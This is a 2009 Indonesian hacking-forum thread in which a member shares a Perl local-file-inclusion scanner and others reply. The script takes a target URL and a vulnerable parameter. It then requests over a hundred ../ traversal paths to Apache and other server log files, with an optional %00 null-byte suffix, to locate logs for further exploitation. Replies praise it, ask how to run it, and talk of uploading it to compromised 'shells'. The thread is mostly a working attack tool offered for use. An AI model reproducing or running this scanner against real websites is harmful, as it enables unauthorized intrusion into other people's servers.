HN-Community
LFI scaner private for HN[dot]org - Printable Version

+- HN-Community (https://hacker-newbie.org)
+-- Forum: Miscellaneous (https://hacker-newbie.org/forum-86.html)
+--- Forum: Coding/Programing (https://hacker-newbie.org/forum-19.html)
+--- Thread: LFI scaner private for HN[dot]org (/thread-289.html)

Pages: 1 2


LFI scaner private for HN[dot]org - Shamus - 06-22-2009

LFI Scanner, fungsinya adalah mencari apache/webserver log file. biar kita ga kerepotan mencari atu-atu... :lol:
Script ni adalah Private for HN[dot]org... ;)

Code:
use LWP::UserAgent; use HTTP::Request; $t = LWP::UserAgent->new() or die ('Error'); $t->agent('Mozilla'); print "[~] LFI Scanner By Shamus for HN[dot]org\n"; print "[~] Masukkan Site (ex: www.site.com) : "; chomp($site = <STDIN>); print "[~] Masukkan Path (ex: /file.php?lfi=) : "; chomp($path = <STDIN>); print "[~] Masukkan LFI Vuln (ex: ../../../) : "; chomp($lfi = <STDIN>); print "[~] Options : 1 = null 2 = %00 : "; chomp($opts = <STDIN>); @list = ( "apache/logs/error.log", "apache/logs/access.log", "apache/logs/error.log", "var/log/httpd/access_log", "apache/logs/access.log", "apache/logs/error.log", "apache/logs/access.log", "apache/logs/error.log", "apache/logs/access.log", "var/log/httpd/error_log", "apache/logs/error.log", "apache/logs/access.log", "logs/error.log", "logs/access.log", "logs/error.log", "logs/access.log", "logs/error.log", "logs/access.log", "logs/error.log", "logs/access.log", "logs/error.log", "logs/access.log", "etc/httpd/logs/access_log", "etc/httpd/logs/access.log", "etc/httpd/logs/error_log", "etc/httpd/logs/error.log", ".. /var/www/logs/access_log", "/var/www/logs/access_log", "var/www/logs/access.log", "usr/local/apache/logs/access_log", "usr/local/apache/logs/access.log", "var/log/apache/access_log", "var/log/apache/access.log", "var/log/access_log", "var/www/logs/error_log", "var/www/logs/error.log", "usr/local/apache/logs/error_log", "usr/local/apache/logs/error.log", "var/log/apache/error_log", "var/log/apache/error.log", "var/log/access_log", "var/log/error_log", "/apache/logs/error.log", "/apache/logs/access.log", "apache/logs/error.log", "apache/logs/access.log", "/apache/logs/error.log", "/apache/logs/access.log", "/etc/httpd/logs/acces_log", "/etc/httpd/logs/acces.log", "/etc/httpd/logs/error_log", "/etc/httpd/logs/error.log", "/var/www/logs/access_log", "/var/www/logs/access.log", "/usr/local/apache/logs/access_log", "/usr/local/apache/logs/access.log", "/var/log/apache/access_log", "/var/log/apache2/access_log", "/var/log/apache/access.log", "/var/log/apache2/access.log", "/var/log/access_log", "/var/log/access.log", "/var/www/logs/error_log", "/var/www/logs/error.log", "/usr/local/apache/logs/error_log", "/usr/local/apache/logs/error.log", "/var/log/apache/error_log", "/var/log/apache2/error_log", "/var/log/apache/error.log", "/var/log/apache2/error.log", "/var/log/error_log", "/var/log/error.log", "../../../../../../../../../../../../var/log/httpd/access_log", "../../../../../../../../../../../../var/log/httpd/error_log", "../../../../../../../../../../var/log/httpd/access_log", "../../../../../../../../../../var/log/httpd/error_log," "../apache/logs/error.log", "../apache/logs/access.log", "../../apache/logs/error.log", "../../apache/logs/access.log", "../../../apache/logs/error.log", "../../../apache/logs/access.log", "../../../../apache/logs/error.log", "../../../../apache/logs/access.log", "../../../../../apache/logs/error.log", "../../../../../apache/logs/access.log", "../apache2/logs/error.log", "../apache2/logs/access.log", "../../apache2/logs/error.log", "../../apache2/logs/access.log", "../../../apache2/logs/error.log", "../../../apache2/logs/access.log", "../../../../apache2/logs/error.log", "../../../../apache2/logs/access.log", "../../../../../apache2/logs/error.log", "../../../../../apache2/logs/access.log", "../logs/error.log", "../logs/access.log", "../../logs/error.log", "../../logs/access.log", "../../../logs/error.log", "../../../logs/access.log", "../../../../logs/error.log", "../../../../logs/access.log", "../../../../../logs/error.log", "../../../../../logs/access.log", "../../../../../../../../../../etc/httpd/logs/acces_log", "../../../../../../../../../../etc/httpd/logs/acces.log", "../../../../../../../../../../etc/httpd/logs/error_log", "../../../../../../../../../../etc/httpd/logs/error.log", "../../../../../../../../../../usr/local/apache/logs/access_log", "../../../../../../../../../../usr/local/apache/logs/access.log", "../../../../../../../../../../usr/local/apache/logs/error_log", "../../../../../../../../../../usr/local/apache/logs/error.log", "../../../../../../../../../../usr/local/apache2/logs/access_log", "../../../../../../../../../../usr/local/apache2/logs/access.log", "../../../../../../../../../../usr/local/apache2/logs/error_log", "../../../../../../../../../../usr/local/apache2/logs/error.log", "../../../../../../../../../../var/www/logs/access_log", "../../../../../../../../../../var/www/logs/access.log", "../../../../../../../../../../var/www/logs/error_log", "../../../../../../../../../../var/www/logs/error.log", "../../../../../../../../../../var/log/httpd/access_log", ""../../../../../../../../../../var/log/httpd/access.log", "../../../../../../../../../../var/log/httpd/error_log", "../../../../../../../../../../var/log/httpd/error.log", "../../../../../../../../../../var/log/apache/access_log", "../../../../../../../../../../var/log/apache/access.log", "../../../../../../../../../../var/log/apache/error_log", "../../../../../../../../../../var/log/apache/error.log", "../../../../../../../../../../var/log/apache2/access_log", "../../../../../../../../../../var/log/apache2/access.log", "../../../../../../../../../../var/log/apache2/error_log", "../../../../../../../../../../var/log/apache2/error.log", "../../../../../../../../../../var/log/access_log", "../../../../../../../../../../var/log/access.log", "../../../../../../../../../../var/log/error_log", "../../../../../../../../../../var/log/error.log", "../../../../../../../../../../opt/lampp/logs/access_log", "../../../../../../../../../../opt/lampp/logs/error_log", "../../../../../../../../../../opt/xampp/logs/access_log", "../../../../../../../../../../opt/xampp/logs/error_log", "../../../../../../../../../../opt/lampp/logs/access.log", "../../../../../../../../../../opt/lampp/logs/error.log", "../../../../../../../../../../opt/xampp/logs/access.log", "../../../../../../../../../../opt/xampp/logs/error.log", "../../../../../../../../../../Program Files\Apache Group\Apache\logs\access.log", "../../../../../../../../../../Program Files\Apache Group\Apache\logs\error.log", "../../../apache/logs/error.log", "../../../apache/logs/access.log", "../../../../apache/logs/error.log", "../../../../apache/logs/access.log", "../../../../../apache/logs/error.log", "../../../../../apache/logs/access.log", "../../../../../../apache/logs/error.log", "../../../../../../apache/logs/access.log", "../../../../../../../apache/logs/error.log", "../../../../../../../apache/logs/access.log", "../../../../../../../../apache/logs/error.log", "../../../../../../../../apache/logs/access.log", "../../../logs/error.log", "../../../logs/access.log", "../../../../logs/error.log", "../../../../logs/access.log", "../../../../../logs/error.log", "../../../../../logs/access.log", "../../../../../../logs/error.log", "../../../../../../logs/access.log", "../../../../../../../logs/error.log", "../../../../../../../logs/access.log", "../../../../../../../../logs/error.log", "../../../../../../../../logs/access.log", "../../../../../../../../../../../../etc/httpd/logs/acces_log", "../../../../../../../../../../../../etc/httpd/logs/acces.log", "../../../../../../../../../../../../etc/httpd/logs/error_log", "../../../../../../../../../../../../etc/httpd/logs/error.log", "../../../../../../../../../../../../var/www/logs/access_log", "../../../../../../../../../../../../var/www/logs/access.log", "../../../../../../../../../../../../usr/local/apache/logs/access_log", "../../../../../../../../../../../../usr/local/apache/logs/access.log", "../../../../../../../../../../../../var/log/apache/access_log", "../../../../../../../../../../../../var/log/apache/access.log", "../../../../../../../../../../../../var/log/access_log", "../../../../../../../../../../../../var/www/logs/error_log", "../../../../../../../../../../../../var/www/logs/error.log", "../../../../../../../../../../../../usr/local/apache/logs/error_log", "../../../../../../../../../../../../usr/local/apache/logs/error.log", "../../../../../../../../../../../../var/log/apache/error_log", "../../../../../../../../../../../../var/log/apache/error.log", "../../../../../../../../../../../../var/log/access_log", "../../../../../../../../../../../../var/log/error_log" ); if (!$opts) { print "[~] Masukkan Options\n"; exit; } else { print "\nScanning...\n"; foreach $lo (@list) { if ($opts == '1') { $attack = "http://$site/$path$lfi$lo"; } else { $attack = "http://$site/$path$lfi$lo%00"; } $r = $t->request(HTTP::Request->new(GET=>$attack)); $test = 'GET /'; if ($r->content =~/$test/) { print "[~] Found Logs File : $attack\n"; exit; } else { print "[~] Trying...\n"; } } } print "[~] Done\n";

thx.
Shamus


RE: LFI scaner private for HN[dot]org - ArRay - 06-22-2009

wih mantep gan. sip nih buat mutili log. hehe


RE: LFI scaner private for HN[dot]org - N4ck0 - 06-22-2009

cara gunain script ini gmn yahh


RE: LFI scaner private for HN[dot]org - Shamus - 06-22-2009

kaya gunain scaner-scaner yang lain kakak... :)

thx.
Shamus


RE: LFI scaner private for HN[dot]org - x0nzlet - 06-22-2009

wew... mangtabs deh bang.... matatih


RE: LFI scaner private for HN[dot]org - gt_portnoy - 06-22-2009

hmm d load d shell kan?
coba dehh ..


RE: LFI scaner private for HN[dot]org - Dika_xb - 08-10-2009

Trima kasih byak bapak


RE: LFI scaner private for HN[dot]org - arDhi^_ - 08-10-2009

Hm..
di upload di shell ya??
trz diperl?? :Bingung:


RE: LFI scaner private for HN[dot]org - EKO_X - 08-10-2009

Aq udh upload koq ga bisa ya Tolong
[Image: 8wik60.jpg] Capek


RE: LFI scaner private for HN[dot]org - kemangi - 08-10-2009

N4ck0

buka cmd, trus ketik perl lfi.pl
pasttin active perl uda terinstall d kompi kamu sob

EKO_X

tu bukan script php sob tapi perl (.pl)